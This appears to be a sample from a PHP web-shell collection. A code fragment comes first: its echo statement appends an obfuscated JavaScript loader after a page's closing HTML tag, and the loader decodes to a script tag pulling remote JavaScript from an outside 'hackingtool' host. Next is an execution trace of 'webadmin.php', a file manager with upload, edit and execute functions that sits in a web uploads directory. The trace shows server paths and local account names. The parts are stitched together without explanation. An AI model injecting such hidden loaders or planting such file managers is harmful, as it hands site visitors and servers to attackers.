echo "</body>\n</html>\n<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%2631tsd%264E%2633iuuqt%264B00ibdljohuppm/ofu0mpht0dj%7B/kt%2633%264F%264D0tdsjqu%264F%26311')</script>";
}
function notice($phrase)
{
global $cols;
$args = func_get_args();
array_shift($args);
return '<tr id="notice">
<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';
}
function error($phrase)
{
global $cols;
$args = func_get_args();
array_shift($args);
return '<tr id="error">
<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';
}
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:40:22.981269]
1 0 1 0.000221 393528
1 3 0 0.002023 789248 {main} 1 /var/www/html/uploads/webadmin.php 0 0
1 A /var/www/html/uploads/webadmin.php 131 $lang = 'auto'
1 A /var/www/html/uploads/webadmin.php 136 $homedir = './'
1 A /var/www/html/uploads/webadmin.php 140 $editcols = 80
1 A /var/www/html/uploads/webadmin.php 141 $editrows = 25
1 A /var/www/html/uploads/webadmin.php 159 $htaccess = '.htaccess'
1 A /var/www/html/uploads/webadmin.php 160 $htpasswd = '.htpasswd'
2 4 0 0.002113 789248 get_magic_quotes_gpc 0 /var/www/html/uploads/webadmin.php 164 0
2 4 1 0.002127 789248
2 4 R FALSE
2 5 0 0.002142 789248 array_key_exists 0 /var/www/html/uploads/webadmin.php 170 2 'image' []
2 5 1 0.002158 789312
2 5 R FALSE
2 6 0 0.002171 789248 function_exists 0 /var/www/html/uploads/webadmin.php 175 1 'lstat'
2 6 1 0.002185 789288
2 6 R TRUE
1 A /var/www/html/uploads/webadmin.php 181 $delim = '/'
2 7 0 0.002217 789248 function_exists 0 /var/www/html/uploads/webadmin.php 183 1 'php_uname'
2 7 1 0.002233 789288
2 7 R TRUE
2 8 0 0.002245 789248 substr 0 /var/www/html/uploads/webadmin.php 184 3 'Linux' 0 3
2 8 1 0.002260 789376
2 8 R 'Lin'
2 9 0 0.002273 789280 strtoupper 0 /var/www/html/uploads/webadmin.php 184 1 'Lin'
2 9 1 0.002286 789344
2 9 R 'LIN'
1 A /var/www/html/uploads/webadmin.php 184 $win = FALSE
2 10 0 0.002313 789248 dirname 0 /var/www/html/uploads/webadmin.php 192 1 '/var/www/html/uploads/webadmin.php'
2 10 1 0.002326 789344
2 10 R '/var/www/html/uploads'
1 A /var/www/html/uploads/webadmin.php 192 $scriptdir = '/var/www/html/uploads'
2 11 0 0.002352 789312 relative2absolute 1 /var/www/html/uploads/webadmin.php 198 2 './' '/var/www/html/uploads'
3 12 0 0.002366 789312 path_is_relative 1 /var/www/html/uploads/webadmin.php 1080 1 './'
4 13 0 0.002380 789336 substr 0 /var/www/html/uploads/webadmin.php 1094 3 './' 0 1
4 13 1 0.002394 789432
4 13 R '.'
3 12 1 0.002407 789336
3 12 R TRUE
3 14 0 0.002421 789336 addslash 1 /var/www/html/uploads/webadmin.php 1081 1 '/var/www/html/uploads'
4 15 0 0.002434 789360 substr 0 /var/www/html/uploads/webadmin.php 1070 3 '/var/www/html/uploads' -1 1
4 15 1 0.002447 789456
4 15 R 's'
3 14 1 0.002462 789408
3 14 R '/var/www/html/uploads/'
3 16 0 0.002476 789416 simplify_path 1 /var/www/html/uploads/webadmin.php 1081 1 '/var/www/html/uploads/./'
4 17 0 0.002490 789416 file_exists 0 /var/www/html/uploads/webadmin.php 1121 1 '/var/www/html/uploads/./'
4 17 1 0.002513 789456
4 17 R TRUE
4 18 0 0.002526 789416 function_exists 0 /var/www/html/uploads/webadmin.php 1121 1 'realpath'
4 18 1 0.002540 789456
4 18 R TRUE
4 19 0 0.002552 789416 realpath 0 /var/www/html/uploads/webadmin.php 1121 1 '/var/www/html/uploads/./'
4 19 1 0.002565 789496
4 19 R '/var/www/html/uploads'
4 20 0 0.002580 789416 realpath 0 /var/www/html/uploads/webadmin.php 1122 1 '/var/www/html/uploads/./'
4 20 1 0.002593 789496
4 20 R '/var/www/html/uploads'
3 A /var/www/html/uploads/webadmin.php 1122 $path = '/var/www/html/uploads'
4 21 0 0.002621 789464 is_dir 0 /var/www/html/uploads/webadmin.php 1123 1 '/var/www/html/uploads'
4 21 1 0.002637 789528
4 21 R TRUE
4 22 0 0.002650 789488 addslash 1 /var/www/html/uploads/webadmin.php 1124 1 '/var/www/html/uploads'
5 23 0 0.002726 789488 substr 0 /var/www/html/uploads/webadmin.php 1070 3 '/var/www/html/uploads' -1 1
5 23 1 0.002740 789584
5 23 R 's'
4 22 1 0.002754 789536
4 22 R '/var/www/html/uploads/'
3 16 1 0.002768 789488
3 16 R '/var/www/html/uploads/'
2 11 1 0.002782 789432
2 11 R '/var/www/html/uploads/'
1 A /var/www/html/uploads/webadmin.php 198 $homedir = '/var/www/html/uploads/'
2 24 0 0.002808 789432 array_key_exists 0 /var/www/html/uploads/webadmin.php 200 2 'dir' []
2 24 1 0.002822 789496
2 24 R FALSE
1 A /var/www/html/uploads/webadmin.php 200 $dir = '/var/www/html/uploads/'
2 25 0 0.002846 789432 array_key_exists 0 /var/www/html/uploads/webadmin.php 202 2 'olddir' []
2 25 1 0.002860 789496
2 25 R FALSE
2 26 0 0.002879 789432 addslash 1 /var/www/html/uploads/webadmin.php 206 1 '/var/www/html/uploads/'
3 27 0 0.002892 789432 substr 0 /var/www/html/uploads/webadmin.php 1070 3 '/var/www/html/uploads/' -1 1
3 27 1 0.002905 789528
3 27 R '/'
2 26 1 0.002919 789432
2 26 R '/var/www/html/uploads/'
2 28 0 0.002933 789432 simplify_path 1 /var/www/html/uploads/webadmin.php 206 1 '/var/www/html/uploads/'
3 29 0 0.002946 789432 file_exists 0 /var/www/html/uploads/webadmin.php 1121 1 '/var/www/html/uploads/'
3 29 1 0.002962 789472
3 29 R TRUE
3 30 0 0.002976 789432 function_exists 0 /var/www/html/uploads/webadmin.php 1121 1 'realpath'
3 30 1 0.002989 789472
3 30 R TRUE
3 31 0 0.003001 789432 realpath 0 /var/www/html/uploads/webadmin.php 1121 1 '/var/www/html/uploads/'
3 31 1 0.003014 789512
3 31 R '/var/www/html/uploads'
3 32 0 0.003029 789432 realpath 0 /var/www/html/uploads/webadmin.php 1122 1 '/var/www/html/uploads/'
3 32 1 0.003042 789512
3 32 R '/var/www/html/uploads'
2 A /var/www/html/uploads/webadmin.php 1122 $path = '/var/www/html/uploads'
3 33 0 0.003066 789480 is_dir 0 /var/www/html/uploads/webadmin.php 1123 1 '/var/www/html/uploads'
3 33 1 0.003078 789520
3 33 R TRUE
3 34 0 0.003091 789480 addslash 1 /var/www/html/uploads/webadmin.php 1124 1 '/var/www/html/uploads'
4 35 0 0.003103 789480 substr 0 /var/www/html/uploads/webadmin.php 1070 3 '/var/www/html/uploads' -1 1
4 35 1 0.003117 789576
4 35 R 's'
3 34 1 0.003130 789528
3 34 R '/var/www/html/uploads/'
2 28 1 0.003144 789480
2 28 R '/var/www/html/uploads/'
1 A /var/www/html/uploads/webadmin.php 206 $directory = '/var/www/html/uploads/'
1 A /var/www/html/uploads/webadmin.php 208 $files = []
1 A /var/www/html/uploads/webadmin.php 209 $action = ''
2 36 0 0.003190 789480 array_key_exists 0 /var/www/html/uploads/webadmin.php 223 2 'num' []
2 36 1 0.003204 789544
2 36 R FALSE
2 37 0 0.003217 789480 array_key_exists 0 /var/www/html/uploads/webadmin.php 232 2 'focus' []
2 37 1 0.003231 789544
2 37 R FALSE
2 38 0 0.003244 789480 sizeof 0 /var/www/html/uploads/webadmin.php 242 1 []
2 38 1 0.003257 789512
2 38 R 0
1 A /var/www/html/uploads/webadmin.php 242 $action = ''
2 39 0 0.003280 789480 array_key_exists 0 /var/www/html/uploads/webadmin.php 245 2 'HTTP_ACCEPT_LANGUAGE' ['HTTP_HOST' => 'localhost', 'HTTP_USER_AGENT' => 'python-requests/2.25.1', 'HTTP_ACCEPT_ENCODING' => 'gzip, deflate', 'HTTP_ACCEPT' => '*/*', 'HTTP_CONNECTION' => 'keep-alive', 'PATH' => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin', 'SERVER_SIGNATURE' => '<address>Apache/2.4.52 (Ubuntu) Server at localhost Port 80</address>\n', 'SERVER_SOFTWARE' => 'Apache/2.4.52 (Ubuntu)', 'SERVER_NAME' => 'localhost', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'REMOTE_ADDR' => '127.0.0.1', 'DOCUMENT_ROOT' => '/var/www/html', 'REQUEST_SCHEME' => 'http', 'CONTEXT_PREFIX' => '', 'CONTEXT_DOCUMENT_ROOT' => '/var/www/html', 'SERVER_ADMIN' => 'webmaster@localhost', 'SCRIPT_FILENAME' => '/var/www/html/uploads/webadmin.php', 'REMOTE_PORT' => '52514', 'GATEWAY_INTERFACE' => 'CGI/1.1', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'REQUEST_METHOD' => 'GET', 'QUERY_STRING' => '', 'REQUEST_URI' => '/uploads/webadmin.php', 'SCRIPT_NAME' => '/uploads/webadmin.php', 'PHP_SELF' => '/uploads/webadmin.php', 'REQUEST_TIME_FLOAT' => 1676255997.083, 'REQUEST_TIME' => 1676255997]
2 39 1 0.003345 789544
2 39 R FALSE
1 A /var/www/html/uploads/webadmin.php 248 $lang = 'en'
2 40 0 0.003369 789480 getwords 1 /var/www/html/uploads/webadmin.php 252 1 'en'
2 A /var/www/html/uploads/webadmin.php 1620 $word_charset = 'UTF-8'
2 A /var/www/html/uploads/webadmin.php 2472 $date_format = 'n/j/y H:i:s'
2 40 1 0.003405 789528
2 40 R ['directory' => 'Directory', 'file' => 'File', 'filename' => 'Filename', 'size' => 'Size', 'permission' => 'Permission', 'owner' => 'Owner', 'group' => 'Group', 'other' => 'Others', 'functions' => 'Functions', 'read' => 'read', 'write' => 'write', 'execute' => 'execute', 'create_symlink' => 'create symlink', 'delete' => 'delete', 'rename' => 'rename', 'move' => 'move', 'copy' => 'copy', 'edit' => 'edit', 'download' => 'download', 'upload' => 'upload', 'create' => 'create', 'change' => 'change', 'save' => 'save', 'set' => 'set', 'reset' => 'reset', 'relative' => 'Relative path to target', 'yes' => 'Yes', 'no' => 'No', 'back' => 'back', 'destination' => 'Destination', 'symlink' => 'Symlink', 'no_output' => 'no output', 'user' => 'User', 'password' => 'Password', 'add' => 'add', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" has been uploaded.', 'not_uploaded' => '"[%1]" could not be uploaded.', 'already_exists' => '"[%1]" already exists.', 'created' => '"[%1]" has been created.', 'not_created' => '"[%1]" could not be created.', 'really_delete' => 'Delete these files?', 'deleted' => 'These files have been deleted:\n[%1]', 'not_deleted' => 'These files could not be deleted:\n[%1]', 'rename_file' => 'Rename file:', 'renamed' => '"[%1]" has been renamed to "[%2]".', 'not_renamed' => '"[%1] could not be renamed to "[%2]".', 'move_files' => 'Move these files:', 'moved' => 'These files have been moved to "[%2]":\n[%1]', 'not_moved' => 'These files could not be moved to "[%2]":\n[%1]', 'copy_files' => 'Copy these files:', 'copied' => 'These files have been copied to "[%2]":\n[%1]', 'not_copied' => 'These files could not be copied to "[%2]":\n[%1]', 'not_edited' => '"[%1]" can not be edited.', 'executed' => '"[%1]" has been executed successfully:\n{%2}', 'not_executed' => '"[%1]" could not be executed successfully:\n{%2}', 'saved' => '"[%1]" has been saved.', 'not_saved' => '"[%1]" could not be saved.', 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.', 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.', 'permission_for' => 'Permission of "[%1]":', 'permission_set' => 'Permission of "[%1]" was set to [%2].', 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].', 'not_readable' => '"[%1]" can not be read.']
1 A /var/www/html/uploads/webadmin.php 252 $words = ['directory' => 'Directory', 'file' => 'File', 'filename' => 'Filename', 'size' => 'Size', 'permission' => 'Permission', 'owner' => 'Owner', 'group' => 'Group', 'other' => 'Others', 'functions' => 'Functions', 'read' => 'read', 'write' => 'write', 'execute' => 'execute', 'create_symlink' => 'create symlink', 'delete' => 'delete', 'rename' => 'rename', 'move' => 'move', 'copy' => 'copy', 'edit' => 'edit', 'download' => 'download', 'upload' => 'upload', 'create' => 'create', 'change' => 'change', 'save' => 'save', 'set' => 'set', 'reset' => 'reset', 'relative' => 'Relative path to target', 'yes' => 'Yes', 'no' => 'No', 'back' => 'back', 'destination' => 'Destination', 'symlink' => 'Symlink', 'no_output' => 'no output', 'user' => 'User', 'password' => 'Password', 'add' => 'add', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" has been uploaded.', 'not_uploaded' => '"[%1]" could not be uploaded.', 'already_exists' => '"[%1]" already exists.', 'created' => '"[%1]" has been created.', 'not_created' => '"[%1]" could not be created.', 'really_delete' => 'Delete these files?', 'deleted' => 'These files have been deleted:\n[%1]', 'not_deleted' => 'These files could not be deleted:\n[%1]', 'rename_file' => 'Rename file:', 'renamed' => '"[%1]" has been renamed to "[%2]".', 'not_renamed' => '"[%1] could not be renamed to "[%2]".', 'move_files' => 'Move these files:', 'moved' => 'These files have been moved to "[%2]":\n[%1]', 'not_moved' => 'These files could not be moved to "[%2]":\n[%1]', 'copy_files' => 'Copy these files:', 'copied' => 'These files have been copied to "[%2]":\n[%1]', 'not_copied' => 'These files could not be copied to "[%2]":\n[%1]', 'not_edited' => '"[%1]" can not be edited.', 'executed' => '"[%1]" has been executed successfully:\n{%2}', 'not_executed' => '"[%1]" could not be executed successfully:\n{%2}', 'saved' => '"[%1]" has been saved.', 'not_saved' => '"[%1]" could not be saved.', 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.', 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.', 'permission_for' => 'Permission of "[%1]":', 'permission_set' => 'Permission of "[%1]" was set to [%2].', 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].', 'not_readable' => '"[%1]" can not be read.']
1 A /var/www/html/uploads/webadmin.php 258 $cols = 7
2 41 0 0.003605 789528 function_exists 0 /var/www/html/uploads/webadmin.php 261 1 'umask'
2 41 1 0.003619 789568
2 41 R TRUE
2 42 0 0.003633 789528 umask 0 /var/www/html/uploads/webadmin.php 261 0
2 42 1 0.003646 789528
2 42 R 18
1 A /var/www/html/uploads/webadmin.php 261 $dirpermission = 493
2 43 0 0.003670 789528 function_exists 0 /var/www/html/uploads/webadmin.php 264 1 'umask'
2 43 1 0.003683 789568
2 43 R TRUE
2 44 0 0.003697 789528 umask 0 /var/www/html/uploads/webadmin.php 264 0
2 44 1 0.003709 789528
2 44 R 18
1 A /var/www/html/uploads/webadmin.php 264 $filepermission = 420
2 45 0 0.003733 789528 basename 0 /var/www/html/uploads/webadmin.php 268 1 '/uploads/webadmin.php'
2 45 1 0.003748 789600
2 45 R 'webadmin.php'
2 46 0 0.003763 789568 html 1 /var/www/html/uploads/webadmin.php 268 1 'webadmin.php'
3 47 0 0.003776 789592 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 'webadmin.php' 2 NULL
3 47 1 0.003793 789864
3 47 R 'webadmin.php'
2 46 1 0.003807 789752
2 46 R 'webadmin.php'
1 A /var/www/html/uploads/webadmin.php 268 $self = 'webadmin.php'
2 48 0 0.003832 789712 substr 0 /var/www/html/uploads/webadmin.php 276 3 'Apache/2.4.52 (Ubuntu)' 0 6
2 48 1 0.003847 789840
2 48 R 'Apache'
2 49 0 0.003860 789744 strtolower 0 /var/www/html/uploads/webadmin.php 276 1 'Apache'
2 49 1 0.003874 789808
2 49 R 'apache'
1 A /var/www/html/uploads/webadmin.php 277 $apache = TRUE
2 50 0 0.003898 789712 listing_page 1 /var/www/html/uploads/webadmin.php 842 1 ???
3 51 0 0.003911 789808 html_header 1 /var/www/html/uploads/webadmin.php 1184 0
3 51 1 0.003925 789808
3 52 0 0.003932 789808 getlist 1 /var/www/html/uploads/webadmin.php 1186 1 '/var/www/html/uploads/'
4 53 0 0.003946 789808 opendir 0 /var/www/html/uploads/webadmin.php 851 1 '/var/www/html/uploads/'
4 53 1 0.003966 790200
4 53 R resource(4) of type (stream)
3 A /var/www/html/uploads/webadmin.php 851 $d = resource(4) of type (stream)
4 54 0 0.003998 790168 readdir 0 /var/www/html/uploads/webadmin.php 853 1 resource(4) of type (stream)
4 54 1 0.004019 790248
4 54 R 'webadmin.php'
3 A /var/www/html/uploads/webadmin.php 853 $filename = 'webadmin.php'
3 A /var/www/html/uploads/webadmin.php 855 $path = '/var/www/html/uploads/webadmin.php'
4 55 0 0.004055 790272 lstat 0 /var/www/html/uploads/webadmin.php 857 1 '/var/www/html/uploads/webadmin.php'
4 55 1 0.004071 792104
4 55 R [0 => 2049, 1 => 524480, 2 => 33204, 3 => 1, 4 => 1000, 5 => 1000, 6 => 0, 7 => 74983, 8 => 1676255997, 9 => 1676255997, 10 => 1676255997, 11 => 4096, 12 => 152, 'dev' => 2049, 'ino' => 524480, 'mode' => 33204, 'nlink' => 1, 'uid' => 1000, 'gid' => 1000, 'rdev' => 0, 'size' => 74983, 'atime' => 1676255997, 'mtime' => 1676255997, 'ctime' => 1676255997, 'blksize' => 4096, 'blocks' => 152]
3 A /var/www/html/uploads/webadmin.php 857 $stat = [0 => 2049, 1 => 524480, 2 => 33204, 3 => 1, 4 => 1000, 5 => 1000, 6 => 0, 7 => 74983, 8 => 1676255997, 9 => 1676255997, 10 => 1676255997, 11 => 4096, 12 => 152, 'dev' => 2049, 'ino' => 524480, 'mode' => 33204, 'nlink' => 1, 'uid' => 1000, 'gid' => 1000, 'rdev' => 0, 'size' => 74983, 'atime' => 1676255997, 'mtime' => 1676255997, 'ctime' => 1676255997, 'blksize' => 4096, 'blocks' => 152]
4 56 0 0.004134 792760 is_file 0 /var/www/html/uploads/webadmin.php 862 1 '/var/www/html/uploads/webadmin.php'
4 56 1 0.004150 792816
4 56 R TRUE
4 57 0 0.004163 792776 is_dir 0 /var/www/html/uploads/webadmin.php 863 1 '/var/www/html/uploads/webadmin.php'
4 57 1 0.004176 792816
4 57 R FALSE
4 58 0 0.004189 792776 is_link 0 /var/www/html/uploads/webadmin.php 864 1 '/var/www/html/uploads/webadmin.php'
4 58 1 0.004202 792816
4 58 R FALSE
4 59 0 0.004215 792776 is_readable 0 /var/www/html/uploads/webadmin.php 865 1 '/var/www/html/uploads/webadmin.php'
4 59 1 0.004231 792816
4 59 R TRUE
4 60 0 0.004244 792776 is_writable 0 /var/www/html/uploads/webadmin.php 866 1 '/var/www/html/uploads/webadmin.php'
4 60 1 0.004260 792816
4 60 R FALSE
4 61 0 0.004274 792776 filemtime 0 /var/www/html/uploads/webadmin.php 871 1 '/var/www/html/uploads/webadmin.php'
4 61 1 0.004291 792816
4 61 R 1676255997
4 62 0 0.004305 792776 fileatime 0 /var/www/html/uploads/webadmin.php 872 1 '/var/www/html/uploads/webadmin.php'
4 62 1 0.004317 792816
4 62 R 1676255997
4 63 0 0.004330 792776 filectime 0 /var/www/html/uploads/webadmin.php 873 1 '/var/www/html/uploads/webadmin.php'
4 63 1 0.004342 792816
4 63 R 1676255997
3 A /var/www/html/uploads/webadmin.php 873 $file = ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997]
4 64 0 0.004382 792776 is_executable 0 /var/www/html/uploads/webadmin.php 880 1 '/var/www/html/uploads/webadmin.php'
4 64 1 0.004397 792816
4 64 R FALSE
3 A /var/www/html/uploads/webadmin.php 880 $file['is_executable'] = FALSE
4 65 0 0.004424 792776 function_exists 0 /var/www/html/uploads/webadmin.php 888 1 'posix_getpwuid'
4 65 1 0.004437 792816
4 65 R TRUE
4 66 0 0.004450 792776 posix_getpwuid 0 /var/www/html/uploads/webadmin.php 888 1 1000
4 66 1 0.004488 793592
4 66 R ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
4 67 0 0.004514 793560 reset 0 /var/www/html/uploads/webadmin.php 888 1 ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
4 67 1 0.004534 793968
4 67 R 'osboxes'
3 A /var/www/html/uploads/webadmin.php 888 $file['owner_name'] = 'osboxes'
4 68 0 0.004560 792808 function_exists 0 /var/www/html/uploads/webadmin.php 889 1 'posix_getgrgid'
4 68 1 0.004574 792848
4 68 R TRUE
4 69 0 0.004587 792808 posix_getgrgid 0 /var/www/html/uploads/webadmin.php 889 1 1000
4 69 1 0.004620 793464
4 69 R ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
4 70 0 0.004640 793432 reset 0 /var/www/html/uploads/webadmin.php 889 1 ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
4 70 1 0.004656 793840
4 70 R 'osboxes'
3 A /var/www/html/uploads/webadmin.php 889 $file['group_name'] = 'osboxes'
3 A /var/www/html/uploads/webadmin.php 891 $files[] = ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4 71 0 0.004711 793856 readdir 0 /var/www/html/uploads/webadmin.php 853 1 resource(4) of type (stream)
4 71 1 0.004725 793928
4 71 R '..'
3 A /var/www/html/uploads/webadmin.php 853 $filename = '..'
3 A /var/www/html/uploads/webadmin.php 855 $path = '/var/www/html/uploads/..'
4 72 0 0.004759 793944 lstat 0 /var/www/html/uploads/webadmin.php 857 1 '/var/www/html/uploads/..'
4 72 1 0.004776 795728
4 72 R [0 => 2049, 1 => 524474, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676255997, 9 => 1676255997, 10 => 1676255997, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524474, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676255997, 'mtime' => 1676255997, 'ctime' => 1676255997, 'blksize' => 4096, 'blocks' => 8]
3 A /var/www/html/uploads/webadmin.php 857 $stat = [0 => 2049, 1 => 524474, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676255997, 9 => 1676255997, 10 => 1676255997, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524474, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676255997, 'mtime' => 1676255997, 'ctime' => 1676255997, 'blksize' => 4096, 'blocks' => 8]
4 73 0 0.004836 794632 is_file 0 /var/www/html/uploads/webadmin.php 862 1 '/var/www/html/uploads/..'
4 73 1 0.004851 794664
4 73 R FALSE
4 74 0 0.004864 794624 is_dir 0 /var/www/html/uploads/webadmin.php 863 1 '/var/www/html/uploads/..'
4 74 1 0.004877 794664
4 74 R TRUE
4 75 0 0.004890 794624 is_link 0 /var/www/html/uploads/webadmin.php 864 1 '/var/www/html/uploads/..'
4 75 1 0.004903 794664
4 75 R FALSE
4 76 0 0.004916 794624 is_readable 0 /var/www/html/uploads/webadmin.php 865 1 '/var/www/html/uploads/..'
4 76 1 0.004931 794664
4 76 R TRUE
4 77 0 0.004943 794624 is_writable 0 /var/www/html/uploads/webadmin.php 866 1 '/var/www/html/uploads/..'
4 77 1 0.004958 794664
4 77 R TRUE
4 78 0 0.004971 794624 filemtime 0 /var/www/html/uploads/webadmin.php 871 1 '/var/www/html/uploads/..'
4 78 1 0.004984 794664
4 78 R 1676255997
4 79 0 0.004997 794624 fileatime 0 /var/www/html/uploads/webadmin.php 872 1 '/var/www/html/uploads/..'
4 79 1 0.005010 794664
4 79 R 1676255997
4 80 0 0.005023 794624 filectime 0 /var/www/html/uploads/webadmin.php 873 1 '/var/www/html/uploads/..'
4 80 1 0.005041 794664
4 80 R 1676255997
3 A /var/www/html/uploads/webadmin.php 873 $file = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997]
4 81 0 0.005080 794680 file_exists 0 /var/www/html/uploads/webadmin.php 877 1 '/var/www/html/uploads/../.'
4 81 1 0.005096 794720
4 81 R TRUE
3 A /var/www/html/uploads/webadmin.php 877 $file['is_executable'] = TRUE
4 82 0 0.005121 794624 function_exists 0 /var/www/html/uploads/webadmin.php 888 1 'posix_getpwuid'
4 82 1 0.005135 794664
4 82 R TRUE
4 83 0 0.005148 794624 posix_getpwuid 0 /var/www/html/uploads/webadmin.php 888 1 0
4 83 1 0.005171 795424
4 83 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 84 0 0.005194 795392 reset 0 /var/www/html/uploads/webadmin.php 888 1 ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 84 1 0.005213 795800
4 84 R 'root'
3 A /var/www/html/uploads/webadmin.php 888 $file['owner_name'] = 'root'
4 85 0 0.005238 794656 function_exists 0 /var/www/html/uploads/webadmin.php 889 1 'posix_getgrgid'
4 85 1 0.005252 794696
4 85 R TRUE
4 86 0 0.005265 794656 posix_getgrgid 0 /var/www/html/uploads/webadmin.php 889 1 0
4 86 1 0.005286 795312
4 86 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 87 0 0.005306 795280 reset 0 /var/www/html/uploads/webadmin.php 889 1 ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 87 1 0.005323 795688
4 87 R 'root'
3 A /var/www/html/uploads/webadmin.php 889 $file['group_name'] = 'root'
3 A /var/www/html/uploads/webadmin.php 891 $files[] = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 88 0 0.005376 795328 readdir 0 /var/www/html/uploads/webadmin.php 853 1 resource(4) of type (stream)
4 88 1 0.005390 795400
4 88 R '.'
3 A /var/www/html/uploads/webadmin.php 853 $filename = '.'
3 A /var/www/html/uploads/webadmin.php 855 $path = '/var/www/html/uploads/.'
4 89 0 0.005424 795408 lstat 0 /var/www/html/uploads/webadmin.php 857 1 '/var/www/html/uploads/.'
4 89 1 0.005440 797192
4 89 R [0 => 2049, 1 => 524475, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676255997, 9 => 1676255997, 10 => 1676255997, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524475, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676255997, 'mtime' => 1676255997, 'ctime' => 1676255997, 'blksize' => 4096, 'blocks' => 8]
3 A /var/www/html/uploads/webadmin.php 857 $stat = [0 => 2049, 1 => 524475, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676255997, 9 => 1676255997, 10 => 1676255997, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524475, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676255997, 'mtime' => 1676255997, 'ctime' => 1676255997, 'blksize' => 4096, 'blocks' => 8]
4 90 0 0.005501 796096 is_file 0 /var/www/html/uploads/webadmin.php 862 1 '/var/www/html/uploads/.'
4 90 1 0.005515 796128
4 90 R FALSE
